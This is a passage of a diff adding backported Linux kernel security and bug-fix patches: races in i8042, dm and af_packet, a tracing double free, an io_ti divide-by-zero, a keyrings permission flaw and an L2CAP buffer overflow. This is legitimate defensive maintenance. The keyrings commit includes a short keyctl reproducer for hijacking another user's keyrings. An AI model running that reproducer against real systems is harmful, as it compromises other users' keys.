340d394a789518018f834ff70f7534fc463d3226 Mon Sep 17 00:00:00 2001 +From: Chen Hong +Date: Sun, 2 Jul 2017 15:11:10 -0700 +Subject: Input: i8042 - fix crash at boot time + +The driver checks port->exists twice in i8042_interrupt(), first when +trying to assign temporary "serio" variable, and second time when deciding +whether it should call serio_interrupt(). The value of port->exists may +change between the 2 checks, and we may end up calling serio_interrupt() +with a NULL pointer: + +BUG: unable to handle kernel NULL pointer dereference at 0000000000000050 +IP: [] _spin_lock_irqsave+0x1f/0x40 +PGD 0 +Oops: 0002 [#1] SMP +last sysfs file: +CPU 0 +Modules linked in: + +Pid: 1, comm: swapper Not tainted 2.6.32-358.el6.x86_64 #1 QEMU Standard PC (i440FX + PIIX, 1996) +RIP: 0010:[] [] _spin_lock_irqsave+0x1f/0x40 +RSP: 0018:ffff880028203cc0 EFLAGS: 00010082 +RAX: 0000000000010000 RBX: 0000000000000000 RCX: 0000000000000000 +RDX: 0000000000000282 RSI: 0000000000000098 RDI: 0000000000000050 +RBP: ffff880028203cc0 R08: ffff88013e79c000 R09: ffff880028203ee0 +R10: 0000000000000298 R11: 0000000000000282 R12: 0000000000000050 +R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000098 +FS: 0000000000000000(0000) GS:ffff880028200000(0000) knlGS:0000000000000000 +CS: 0010 DS: 0018 ES: 0018 CR0: 000000008005003b +CR2: 0000000000000050 CR3: 0000000001a85000 CR4: 00000000001407f0 +DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 +DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 +Process swapper (pid: 1, threadinfo ffff88013e79c000, task ffff88013e79b500) +Stack: +ffff880028203d00 ffffffff813de186 ffffffffffffff02 0000000000000000 + 0000000000000000 0000000000000000 0000000000000000 0000000000000098 + ffff880028203d70 ffffffff813e0162 ffff880028203d20 ffffffff8103b8ac +Call Trace: + + [] serio_interrupt+0x36/0xa0 +[] i8042_interrupt+0x132/0x3a0 +[] ? kvm_clock_read+0x1c/0x20 +[] ? kvm_clock_get_cycles+0x9/0x10 +[] handle_IRQ_event+0x60/0x170 +[] ? kvm_guest_apic_eoi_write+0x44/0x50 +[] handle_edge_irq+0xde/0x180 +[] handle_irq+0x49/0xa0 +[] do_IRQ+0x6c/0xf0 +[] ret_from_intr+0x0/0x11 +[] ? __do_softirq+0x73/0x1e0 +[] ? hrtimer_interrupt+0x14b/0x260 +[] ? call_softirq+0x1c/0x30 +[] ? do_softirq+0x65/0xa0 +[] ? irq_exit+0x85/0x90 +[] ? smp_apic_timer_interrupt+0x70/0x9b +[] ? apic_timer_interrupt+0x13/0x20 + +To avoid the issue let's change the second check to test whether serio is +NULL or not. + +Also, let's take i8042_lock in i8042_start() and i8042_stop() instead of +trying to be overly smart and using memory barriers. + +Signed-off-by: Chen Hong +[dtor: take lock in i8042_start()/i8042_stop()] +Cc: stable@vger.kernel.org +Signed-off-by: Dmitry Torokhov +--- + drivers/input/serio/i8042.c | 12 +++++++++--- + 1 file changed, 9 insertions(+), 3 deletions(-) + +diff --git a/drivers/input/serio/i8042.c b/drivers/input/serio/i8042.c +index c52da651269b..824f4c1c1f31 100644 +--- a/drivers/input/serio/i8042.c ++++ b/drivers/input/serio/i8042.c +@@ -436,8 +436,10 @@ static int i8042_start(struct serio *serio) + { + struct i8042_port *port = serio->port_data; + ++ spin_lock_irq(&i8042_lock); + port->exists = true; +- mb(); ++ spin_unlock_irq(&i8042_lock); ++ + return 0; + } + +@@ -450,16 +452,20 @@ static void i8042_stop(struct serio *serio) + { + struct i8042_port *port = serio->port_data; + ++ spin_lock_irq(&i8042_lock); + port->exists = false; ++ port->serio = NULL; ++ spin_unlock_irq(&i8042_lock); + + /* ++ * We need to make sure that interrupt handler finishes using ++ * our serio port before we return from this function. + * We synchronize with both AUX and KBD IRQs because there is + * a (very unlikely) chance that AUX IRQ is raised for KBD port + * and vice versa. + */ + synchronize_irq(I8042_AUX_IRQ); + synchronize_irq(I8042_KBD_IRQ); +- port->serio = NULL; + } + + /* +@@ -576,7 +582,7 @@ static irqreturn_t i8042_interrupt(int irq, void *dev_id) + + spin_unlock_irqrestore(&i8042_lock, flags); + +- if (likely(port->exists && !filtered)) ++ if (likely(serio && !filtered)) + serio_interrupt(serio, data, dfl); + + out: +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0469-b9a41d21dcea-dm fix race between dmgetfromkobject and dmdestroy.patch b/recipes-kernel/linux/linux-bass/autopatcher/0469-b9a41d21dcea-dm fix race between dmgetfromkobject and dmdestroy.patch new file mode 100644 index 0000000..86784d4 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0469-b9a41d21dcea-dm fix race between dmgetfromkobject and dmdestroy.patch @@ -0,0 +1,72 @@ +From b9a41d21dceadf8104812626ef85dc56ee8a60ed Mon Sep 17 00:00:00 2001 +From: Hou Tao +Date: Wed, 1 Nov 2017 15:42:36 +0800 +Subject: dm: fix race between dm_get_from_kobject() and __dm_destroy() + +The following BUG_ON was hit when testing repeat creation and removal of +DM devices: + + kernel BUG at drivers/md/dm.c:2919! + CPU: 7 PID: 750 Comm: systemd-udevd Not tainted 4.1.44 + Call Trace: + [] dm_get_from_kobject+0x34/0x3a + [] dm_attr_show+0x2b/0x5e + [] ? mutex_lock+0x26/0x44 + [] sysfs_kf_seq_show+0x83/0xcf + [] kernfs_seq_show+0x23/0x25 + [] seq_read+0x16f/0x325 + [] kernfs_fop_read+0x3a/0x13f + [] __vfs_read+0x26/0x9d + [] ? security_file_permission+0x3c/0x44 + [] ? rw_verify_area+0x83/0xd9 + [] vfs_read+0x8f/0xcf + [] ? __fdget_pos+0x12/0x41 + [] SyS_read+0x4b/0x76 + [] system_call_fastpath+0x12/0x71 + +The bug can be easily triggered, if an extra delay (e.g. 10ms) is added +between the test of DMF_FREEING & DMF_DELETING and dm_get() in +dm_get_from_kobject(). + +To fix it, we need to ensure the test of DMF_FREEING & DMF_DELETING and +dm_get() are done in an atomic way, so _minor_lock is used. + +The other callers of dm_get() have also been checked to be OK: some +callers invoke dm_get() under _minor_lock, some callers invoke it under +_hash_lock, and dm_start_request() invoke it after increasing +md->open_count. + +Cc: stable@vger.kernel.org +Signed-off-by: Hou Tao +Signed-off-by: Mike Snitzer +--- + drivers/md/dm.c | 12 ++++++++---- + 1 file changed, 8 insertions(+), 4 deletions(-) + +diff --git a/drivers/md/dm.c b/drivers/md/dm.c +index adb874c2411b0..dcfa1a8c93909 100644 +--- a/drivers/md/dm.c ++++ b/drivers/md/dm.c +@@ -2711,11 +2711,15 @@ struct mapped_device *dm_get_from_kobject(struct kobject *kobj) + + md = container_of(kobj, struct mapped_device, kobj_holder.kobj); + +- if (test_bit(DMF_FREEING, &md->flags) || +- dm_deleting_md(md)) +- return NULL; +- ++ spin_lock(&_minor_lock); ++ if (test_bit(DMF_FREEING, &md->flags) || dm_deleting_md(md)) { ++ md = NULL; ++ goto out; ++ } + dm_get(md); ++out: ++ spin_unlock(&_minor_lock); ++ + return md; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0470-e8705c4233f2-KEYS prevent creating a different users keyrings.patch b/recipes-kernel/linux/linux-bass/autopatcher/0470-e8705c4233f2-KEYS prevent creating a different users keyrings.patch new file mode 100644 index 0000000..f508fdc --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0470-e8705c4233f2-KEYS prevent creating a different users keyrings.patch @@ -0,0 +1,164 @@ +From e8705c4233f26a460b4d67f6bbf48e16f8261006 Mon Sep 17 00:00:00 2001 +From: Eric Biggers +Date: Mon, 18 Sep 2017 11:37:03 -0700 +Subject: KEYS: prevent creating a different user's keyrings + +commit 237bbd29f7a049d310d907f4b2716a7feef9abf3 upstream. + +It was possible for an unprivileged user to create the user and user +session keyrings for another user. For example: + + sudo -u '#3000' sh -c 'keyctl add keyring _uid.4000 "" @u + keyctl add keyring _uid_ses.4000 "" @u + sleep 15' & + sleep 1 + sudo -u '#4000' keyctl describe @u + sudo -u '#4000' keyctl describe @us + +This is problematic because these "fake" keyrings won't have the right +permissions. In particular, the user who created them first will own +them and will have full access to them via the possessor permissions, +which can be used to compromise the security of a user's keys: + + -4: alswrv-----v------------ 3000 0 keyring: _uid.4000 + -5: alswrv-----v------------ 3000 0 keyring: _uid_ses.4000 + +Fix it by marking user and user session keyrings with a flag +KEY_FLAG_UID_KEYRING. Then, when searching for a user or user session +keyring by name, skip all keyrings that don't have the flag set. + +Fixes: 69664cf16af4 ("keys: don't generate user and user session keyrings unless they're accessed") +Cc: [v2.6.26+] +Signed-off-by: Eric Biggers +Signed-off-by: David Howells +[wt: adjust context] + +Signed-off-by: Willy Tarreau +--- + include/linux/key.h | 2 ++ + security/keys/internal.h | 2 +- + security/keys/key.c | 2 ++ + security/keys/keyring.c | 23 ++++++++++++++--------- + security/keys/process_keys.c | 8 ++++++-- + 5 files changed, 25 insertions(+), 12 deletions(-) + +diff --git a/include/linux/key.h b/include/linux/key.h +index 4dfde1161c5e..66633b5f2f65 100644 +--- a/include/linux/key.h ++++ b/include/linux/key.h +@@ -162,6 +162,7 @@ struct key { + #define KEY_FLAG_NEGATIVE 5 /* set if key is negative */ + #define KEY_FLAG_ROOT_CAN_CLEAR 6 /* set if key can be cleared by root without permission */ + #define KEY_FLAG_INVALIDATED 7 /* set if key has been invalidated */ ++#define KEY_FLAG_UID_KEYRING 11 /* set if key is a user or user session keyring */ + + /* the description string + * - this is used to match a key against search criteria +@@ -203,6 +204,7 @@ extern struct key *key_alloc(struct key_type *type, + #define KEY_ALLOC_IN_QUOTA 0x0000 /* add to quota, reject if would overrun */ + #define KEY_ALLOC_QUOTA_OVERRUN 0x0001 /* add to quota, permit even if overrun */ + #define KEY_ALLOC_NOT_IN_QUOTA 0x0002 /* not in quota */ ++#define KEY_ALLOC_UID_KEYRING 0x0010 /* allocating a user or user session keyring */ + + extern void key_revoke(struct key *key); + extern void key_invalidate(struct key *key); +diff --git a/security/keys/internal.h b/security/keys/internal.h +index d4f1468b9b50..ce6d4634a840 100644 +--- a/security/keys/internal.h ++++ b/security/keys/internal.h +@@ -126,7 +126,7 @@ extern key_ref_t search_process_keyrings(struct key_type *type, + key_match_func_t match, + const struct cred *cred); + +-extern struct key *find_keyring_by_name(const char *name, bool skip_perm_check); ++extern struct key *find_keyring_by_name(const char *name, bool uid_keyring); + + extern int install_user_keyrings(void); + extern int install_thread_keyring_to_cred(struct cred *); +diff --git a/security/keys/key.c b/security/keys/key.c +index 6373ff18b8ea..248c2e731375 100644 +--- a/security/keys/key.c ++++ b/security/keys/key.c +@@ -299,6 +299,8 @@ struct key *key_alloc(struct key_type *type, const char *desc, + + if (!(flags & KEY_ALLOC_NOT_IN_QUOTA)) + key->flags |= 1 << KEY_FLAG_IN_QUOTA; ++ if (flags & KEY_ALLOC_UID_KEYRING) ++ key->flags |= 1 << KEY_FLAG_UID_KEYRING; + + memset(&key->type_data, 0, sizeof(key->type_data)); + +diff --git a/security/keys/keyring.c b/security/keys/keyring.c +index 6ece7f2e5707..b0cabf68c678 100644 +--- a/security/keys/keyring.c ++++ b/security/keys/keyring.c +@@ -583,15 +583,15 @@ found: + /* + * Find a keyring with the specified name. + * +- * All named keyrings in the current user namespace are searched, provided they +- * grant Search permission directly to the caller (unless this check is +- * skipped). Keyrings whose usage points have reached zero or who have been +- * revoked are skipped. ++ * Only keyrings that have nonzero refcount, are not revoked, and are owned by a ++ * user in the current user namespace are considered. If @uid_keyring is %true, ++ * the keyring additionally must have been allocated as a user or user session ++ * keyring; otherwise, it must grant Search permission directly to the caller. + * + * Returns a pointer to the keyring with the keyring's refcount having being + * incremented on success. -ENOKEY is returned if a key could not be found. + */ +-struct key *find_keyring_by_name(const char *name, bool skip_perm_check) ++struct key *find_keyring_by_name(const char *name, bool uid_keyring) + { + struct key *keyring; + int bucket; +@@ -619,10 +619,15 @@ struct key *find_keyring_by_name(const char *name, bool skip_perm_check) + if (strcmp(keyring->description, name) != 0) + continue; + +- if (!skip_perm_check && +- key_permission(make_key_ref(keyring, 0), +- KEY_SEARCH) < 0) +- continue; ++ if (uid_keyring) { ++ if (!test_bit(KEY_FLAG_UID_KEYRING, ++ &keyring->flags)) ++ continue; ++ } else { ++ if (key_permission(make_key_ref(keyring, 0), ++ KEY_SEARCH) < 0) ++ continue; ++ } + + /* we've got a match but we might end up racing with + * key_cleanup() if the keyring is currently 'dead' +diff --git a/security/keys/process_keys.c b/security/keys/process_keys.c +index 33384662fc82..f58a5aa05fa4 100644 +--- a/security/keys/process_keys.c ++++ b/security/keys/process_keys.c +@@ -76,7 +76,9 @@ int install_user_keyrings(void) + if (IS_ERR(uid_keyring)) { + uid_keyring = keyring_alloc(buf, user->uid, INVALID_GID, + cred, user_keyring_perm, +- KEY_ALLOC_IN_QUOTA, NULL); ++ KEY_ALLOC_UID_KEYRING | ++ KEY_ALLOC_IN_QUOTA, ++ NULL); + if (IS_ERR(uid_keyring)) { + ret = PTR_ERR(uid_keyring); + goto error; +@@ -92,7 +94,9 @@ int install_user_keyrings(void) + session_keyring = + keyring_alloc(buf, user->uid, INVALID_GID, + cred, user_keyring_perm, +- KEY_ALLOC_IN_QUOTA, NULL); ++ KEY_ALLOC_UID_KEYRING | ++ KEY_ALLOC_IN_QUOTA, ++ NULL); + if (IS_ERR(session_keyring)) { + ret = PTR_ERR(session_keyring); + goto error_release; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0471-6aeb75e6adfa-USB serial ioti fix divbyzero in settermios.patch b/recipes-kernel/linux/linux-bass/autopatcher/0471-6aeb75e6adfa-USB serial ioti fix divbyzero in settermios.patch new file mode 100644 index 0000000..8d6b992 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0471-6aeb75e6adfa-USB serial ioti fix divbyzero in settermios.patch @@ -0,0 +1,40 @@ +From 6aeb75e6adfaed16e58780309613a578fe1ee90b Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Thu, 11 May 2017 11:41:21 +0200 +Subject: USB: serial: io_ti: fix div-by-zero in set_termios + +Fix a division-by-zero in set_termios when debugging is enabled and a +high-enough speed has been requested so that the divisor value becomes +zero. + +Instead of just fixing the offending debug statement, cap the baud rate +at the base as a zero divisor value also appears to crash the firmware. + +Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") +Cc: stable # 2.6.12 +Reviewed-by: Greg Kroah-Hartman +Signed-off-by: Johan Hovold +--- + drivers/usb/serial/io_ti.c | 5 ++++- + 1 file changed, 4 insertions(+), 1 deletion(-) + +diff --git a/drivers/usb/serial/io_ti.c b/drivers/usb/serial/io_ti.c +index 87798e625d6c8..6cefb9cb133d7 100644 +--- a/drivers/usb/serial/io_ti.c ++++ b/drivers/usb/serial/io_ti.c +@@ -2336,8 +2336,11 @@ static void change_port_settings(struct tty_struct *tty, + if (!baud) { + /* pick a default, any default... */ + baud = 9600; +- } else ++ } else { ++ /* Avoid a zero divisor. */ ++ baud = min(baud, 461550); + tty_encode_baud_rate(tty, baud, baud); ++ } + + edge_port->baud_rate = baud; + config->wBaudRate = (__u16)((461550L + baud/2) / baud); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0472-4397f04575c4-tracing Fix possible double free on failure of allocating trace.patch b/recipes-kernel/linux/linux-bass/autopatcher/0472-4397f04575c4-tracing Fix possible double free on failure of allocating trace.patch new file mode 100644 index 0000000..b728c68 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0472-4397f04575c4-tracing Fix possible double free on failure of allocating trace.patch @@ -0,0 +1,38 @@ +From 4397f04575c44e1440ec2e49b6302785c95fd2f8 Mon Sep 17 00:00:00 2001 +From: "Steven Rostedt (VMware)" +Date: Tue, 26 Dec 2017 20:07:34 -0500 +Subject: tracing: Fix possible double free on failure of allocating trace + buffer + +Jing Xia and Chunyan Zhang reported that on failing to allocate part of the +tracing buffer, memory is freed, but the pointers that point to them are not +initialized back to NULL, and later paths may try to free the freed memory +again. Jing and Chunyan fixed one of the locations that does this, but +missed a spot. + +Link: http://lkml.kernel.org/r/20171226071253.8968-1-chunyan.zhang@spreadtrum.com + +Cc: stable@vger.kernel.org +Fixes: 737223fbca3b1 ("tracing: Consolidate buffer allocation code") +Reported-by: Jing Xia +Reported-by: Chunyan Zhang +Signed-off-by: Steven Rostedt (VMware) +--- + kernel/trace/trace.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/kernel/trace/trace.c b/kernel/trace/trace.c +index 0e53d46544b82..2a8d8a294345a 100644 +--- a/kernel/trace/trace.c ++++ b/kernel/trace/trace.c +@@ -7580,6 +7580,7 @@ allocate_trace_buffer(struct trace_array *tr, struct trace_buffer *buf, int size + buf->data = alloc_percpu(struct trace_array_cpu); + if (!buf->data) { + ring_buffer_free(buf->buffer); ++ buf->buffer = NULL; + return -ENOMEM; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0473-fe1fd359c1db-packet fix tpreserve race in packetsetring.patch b/recipes-kernel/linux/linux-bass/autopatcher/0473-fe1fd359c1db-packet fix tpreserve race in packetsetring.patch new file mode 100644 index 0000000..5d89bff --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0473-fe1fd359c1db-packet fix tpreserve race in packetsetring.patch @@ -0,0 +1,53 @@ +From fe1fd359c1dbde1c1561802f62a16ddc67c9ac07 Mon Sep 17 00:00:00 2001 +From: Willem de Bruijn +Date: Thu, 10 Aug 2017 12:41:58 -0400 +Subject: packet: fix tp_reserve race in packet_set_ring + +commit c27927e372f0785f3303e8fad94b85945e2c97b7 upstream. + +Updates to tp_reserve can race with reads of the field in +packet_set_ring. Avoid this by holding the socket lock during +updates in setsockopt PACKET_RESERVE. + +This bug was discovered by syzkaller. + +Fixes: 8913336a7e8d ("packet: add PACKET_RESERVE sockopt") +Reported-by: Andrey Konovalov +Signed-off-by: Willem de Bruijn +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + net/packet/af_packet.c | 13 +++++++++---- + 1 file changed, 9 insertions(+), 4 deletions(-) + +diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c +index b915d0112874..2f22b0759f2c 100644 +--- a/net/packet/af_packet.c ++++ b/net/packet/af_packet.c +@@ -3183,14 +3183,19 @@ packet_setsockopt(struct socket *sock, int level, int optname, char __user *optv + + if (optlen != sizeof(val)) + return -EINVAL; +- if (po->rx_ring.pg_vec || po->tx_ring.pg_vec) +- return -EBUSY; + if (copy_from_user(&val, optval, sizeof(val))) + return -EFAULT; + if (val > INT_MAX) + return -EINVAL; +- po->tp_reserve = val; +- return 0; ++ lock_sock(sk); ++ if (po->rx_ring.pg_vec || po->tx_ring.pg_vec) { ++ ret = -EBUSY; ++ } else { ++ po->tp_reserve = val; ++ ret = 0; ++ } ++ release_sock(sk); ++ return ret; + } + case PACKET_LOSS: + { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0474-e860d2c904d1-Bluetooth Properly check L2CAP config option output buffer length.patch b/recipes-kernel/linux/linux-bass/autopatcher/0474-e860d2c904d1-Bluetooth Properly check L2CAP config option output buffer length.patch new file mode 100644 index 0000000..2fcdbe9 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0474-e860d2c904d1-Bluetooth Properly check L2CAP config option output buffer length.patch @@ -0,0 +1,357 @@ +From e860d2c904d1a9f38a24eb44c9f34b8f915a6ea3 Mon Sep 17 00:00:00 2001 +From: Ben Seri +Date: Sat, 9 Sep 2017 23:15:59 +0200 +Subject: Bluetooth: Properly check L2CAP config option output buffer length + +Validate the output buffer length for L2CAP config requests and responses +to avoid overflowing the stack buffer used for building the option blocks. + +Cc: stable@vger.kernel.org +Signed-off-by: Ben Seri +Signed-off-by: Marcel Holtmann +Signed-off-by: Linus Torvalds +--- + net/bluetooth/l2cap_core.c | 80 +++++++++++++++++++++++++--------------------- + 1 file changed, 43 insertions(+), 37 deletions(-) + +diff --git a/net/bluetooth/l2cap_core.c b/net/bluetooth/l2cap_core.c +index 303c779bfe38..43ba91c440bc 100644 +--- a/net/bluetooth/l2cap_core.c ++++ b/net/bluetooth/l2cap_core.c +@@ -58,7 +58,7 @@ static struct sk_buff *l2cap_build_cmd(struct l2cap_conn *conn, + u8 code, u8 ident, u16 dlen, void *data); + static void l2cap_send_cmd(struct l2cap_conn *conn, u8 ident, u8 code, u16 len, + void *data); +-static int l2cap_build_conf_req(struct l2cap_chan *chan, void *data); ++static int l2cap_build_conf_req(struct l2cap_chan *chan, void *data, size_t data_size); + static void l2cap_send_disconn_req(struct l2cap_chan *chan, int err); + + static void l2cap_tx(struct l2cap_chan *chan, struct l2cap_ctrl *control, +@@ -1473,7 +1473,7 @@ static void l2cap_conn_start(struct l2cap_conn *conn) + + set_bit(CONF_REQ_SENT, &chan->conf_state); + l2cap_send_cmd(conn, l2cap_get_ident(conn), L2CAP_CONF_REQ, +- l2cap_build_conf_req(chan, buf), buf); ++ l2cap_build_conf_req(chan, buf, sizeof(buf)), buf); + chan->num_conf_req++; + } + +@@ -2987,12 +2987,15 @@ static inline int l2cap_get_conf_opt(void **ptr, int *type, int *olen, + return len; + } + +-static void l2cap_add_conf_opt(void **ptr, u8 type, u8 len, unsigned long val) ++static void l2cap_add_conf_opt(void **ptr, u8 type, u8 len, unsigned long val, size_t size) + { + struct l2cap_conf_opt *opt = *ptr; + + BT_DBG("type 0x%2.2x len %u val 0x%lx", type, len, val); + ++ if (size < L2CAP_CONF_OPT_SIZE + len) ++ return; ++ + opt->type = type; + opt->len = len; + +@@ -3017,7 +3020,7 @@ static void l2cap_add_conf_opt(void **ptr, u8 type, u8 len, unsigned long val) + *ptr += L2CAP_CONF_OPT_SIZE + len; + } + +-static void l2cap_add_opt_efs(void **ptr, struct l2cap_chan *chan) ++static void l2cap_add_opt_efs(void **ptr, struct l2cap_chan *chan, size_t size) + { + struct l2cap_conf_efs efs; + +@@ -3045,7 +3048,7 @@ static void l2cap_add_opt_efs(void **ptr, struct l2cap_chan *chan) + } + + l2cap_add_conf_opt(ptr, L2CAP_CONF_EFS, sizeof(efs), +- (unsigned long) &efs); ++ (unsigned long) &efs, size); + } + + static void l2cap_ack_timeout(struct work_struct *work) +@@ -3191,11 +3194,12 @@ static inline void l2cap_txwin_setup(struct l2cap_chan *chan) + chan->ack_win = chan->tx_win; + } + +-static int l2cap_build_conf_req(struct l2cap_chan *chan, void *data) ++static int l2cap_build_conf_req(struct l2cap_chan *chan, void *data, size_t data_size) + { + struct l2cap_conf_req *req = data; + struct l2cap_conf_rfc rfc = { .mode = chan->mode }; + void *ptr = req->data; ++ void *endptr = data + data_size; + u16 size; + + BT_DBG("chan %p", chan); +@@ -3220,7 +3224,7 @@ static int l2cap_build_conf_req(struct l2cap_chan *chan, void *data) + + done: + if (chan->imtu != L2CAP_DEFAULT_MTU) +- l2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, chan->imtu); ++ l2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, chan->imtu, endptr - ptr); + + switch (chan->mode) { + case L2CAP_MODE_BASIC: +@@ -3239,7 +3243,7 @@ done: + rfc.max_pdu_size = 0; + + l2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC, sizeof(rfc), +- (unsigned long) &rfc); ++ (unsigned long) &rfc, endptr - ptr); + break; + + case L2CAP_MODE_ERTM: +@@ -3259,21 +3263,21 @@ done: + L2CAP_DEFAULT_TX_WINDOW); + + l2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC, sizeof(rfc), +- (unsigned long) &rfc); ++ (unsigned long) &rfc, endptr - ptr); + + if (test_bit(FLAG_EFS_ENABLE, &chan->flags)) +- l2cap_add_opt_efs(&ptr, chan); ++ l2cap_add_opt_efs(&ptr, chan, endptr - ptr); + + if (test_bit(FLAG_EXT_CTRL, &chan->flags)) + l2cap_add_conf_opt(&ptr, L2CAP_CONF_EWS, 2, +- chan->tx_win); ++ chan->tx_win, endptr - ptr); + + if (chan->conn->feat_mask & L2CAP_FEAT_FCS) + if (chan->fcs == L2CAP_FCS_NONE || + test_bit(CONF_RECV_NO_FCS, &chan->conf_state)) { + chan->fcs = L2CAP_FCS_NONE; + l2cap_add_conf_opt(&ptr, L2CAP_CONF_FCS, 1, +- chan->fcs); ++ chan->fcs, endptr - ptr); + } + break; + +@@ -3291,17 +3295,17 @@ done: + rfc.max_pdu_size = cpu_to_le16(size); + + l2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC, sizeof(rfc), +- (unsigned long) &rfc); ++ (unsigned long) &rfc, endptr - ptr); + + if (test_bit(FLAG_EFS_ENABLE, &chan->flags)) +- l2cap_add_opt_efs(&ptr, chan); ++ l2cap_add_opt_efs(&ptr, chan, endptr - ptr); + + if (chan->conn->feat_mask & L2CAP_FEAT_FCS) + if (chan->fcs == L2CAP_FCS_NONE || + test_bit(CONF_RECV_NO_FCS, &chan->conf_state)) { + chan->fcs = L2CAP_FCS_NONE; + l2cap_add_conf_opt(&ptr, L2CAP_CONF_FCS, 1, +- chan->fcs); ++ chan->fcs, endptr - ptr); + } + break; + } +@@ -3312,10 +3316,11 @@ done: + return ptr - data; + } + +-static int l2cap_parse_conf_req(struct l2cap_chan *chan, void *data) ++static int l2cap_parse_conf_req(struct l2cap_chan *chan, void *data, size_t data_size) + { + struct l2cap_conf_rsp *rsp = data; + void *ptr = rsp->data; ++ void *endptr = data + data_size; + void *req = chan->conf_req; + int len = chan->conf_len; + int type, hint, olen; +@@ -3417,7 +3422,7 @@ done: + return -ECONNREFUSED; + + l2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC, sizeof(rfc), +- (unsigned long) &rfc); ++ (unsigned long) &rfc, endptr - ptr); + } + + if (result == L2CAP_CONF_SUCCESS) { +@@ -3430,7 +3435,7 @@ done: + chan->omtu = mtu; + set_bit(CONF_MTU_DONE, &chan->conf_state); + } +- l2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, chan->omtu); ++ l2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, chan->omtu, endptr - ptr); + + if (remote_efs) { + if (chan->local_stype != L2CAP_SERV_NOTRAFIC && +@@ -3444,7 +3449,7 @@ done: + + l2cap_add_conf_opt(&ptr, L2CAP_CONF_EFS, + sizeof(efs), +- (unsigned long) &efs); ++ (unsigned long) &efs, endptr - ptr); + } else { + /* Send PENDING Conf Rsp */ + result = L2CAP_CONF_PENDING; +@@ -3477,7 +3482,7 @@ done: + set_bit(CONF_MODE_DONE, &chan->conf_state); + + l2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC, +- sizeof(rfc), (unsigned long) &rfc); ++ sizeof(rfc), (unsigned long) &rfc, endptr - ptr); + + if (test_bit(FLAG_EFS_ENABLE, &chan->flags)) { + chan->remote_id = efs.id; +@@ -3491,7 +3496,7 @@ done: + le32_to_cpu(efs.sdu_itime); + l2cap_add_conf_opt(&ptr, L2CAP_CONF_EFS, + sizeof(efs), +- (unsigned long) &efs); ++ (unsigned long) &efs, endptr - ptr); + } + break; + +@@ -3505,7 +3510,7 @@ done: + set_bit(CONF_MODE_DONE, &chan->conf_state); + + l2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC, sizeof(rfc), +- (unsigned long) &rfc); ++ (unsigned long) &rfc, endptr - ptr); + + break; + +@@ -3527,10 +3532,11 @@ done: + } + + static int l2cap_parse_conf_rsp(struct l2cap_chan *chan, void *rsp, int len, +- void *data, u16 *result) ++ void *data, size_t size, u16 *result) + { + struct l2cap_conf_req *req = data; + void *ptr = req->data; ++ void *endptr = data + size; + int type, olen; + unsigned long val; + struct l2cap_conf_rfc rfc = { .mode = L2CAP_MODE_BASIC }; +@@ -3548,13 +3554,13 @@ static int l2cap_parse_conf_rsp(struct l2cap_chan *chan, void *rsp, int len, + chan->imtu = L2CAP_DEFAULT_MIN_MTU; + } else + chan->imtu = val; +- l2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, chan->imtu); ++ l2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, chan->imtu, endptr - ptr); + break; + + case L2CAP_CONF_FLUSH_TO: + chan->flush_to = val; + l2cap_add_conf_opt(&ptr, L2CAP_CONF_FLUSH_TO, +- 2, chan->flush_to); ++ 2, chan->flush_to, endptr - ptr); + break; + + case L2CAP_CONF_RFC: +@@ -3568,13 +3574,13 @@ static int l2cap_parse_conf_rsp(struct l2cap_chan *chan, void *rsp, int len, + chan->fcs = 0; + + l2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC, +- sizeof(rfc), (unsigned long) &rfc); ++ sizeof(rfc), (unsigned long) &rfc, endptr - ptr); + break; + + case L2CAP_CONF_EWS: + chan->ack_win = min_t(u16, val, chan->ack_win); + l2cap_add_conf_opt(&ptr, L2CAP_CONF_EWS, 2, +- chan->tx_win); ++ chan->tx_win, endptr - ptr); + break; + + case L2CAP_CONF_EFS: +@@ -3587,7 +3593,7 @@ static int l2cap_parse_conf_rsp(struct l2cap_chan *chan, void *rsp, int len, + return -ECONNREFUSED; + + l2cap_add_conf_opt(&ptr, L2CAP_CONF_EFS, sizeof(efs), +- (unsigned long) &efs); ++ (unsigned long) &efs, endptr - ptr); + break; + + case L2CAP_CONF_FCS: +@@ -3692,7 +3698,7 @@ void __l2cap_connect_rsp_defer(struct l2cap_chan *chan) + return; + + l2cap_send_cmd(conn, l2cap_get_ident(conn), L2CAP_CONF_REQ, +- l2cap_build_conf_req(chan, buf), buf); ++ 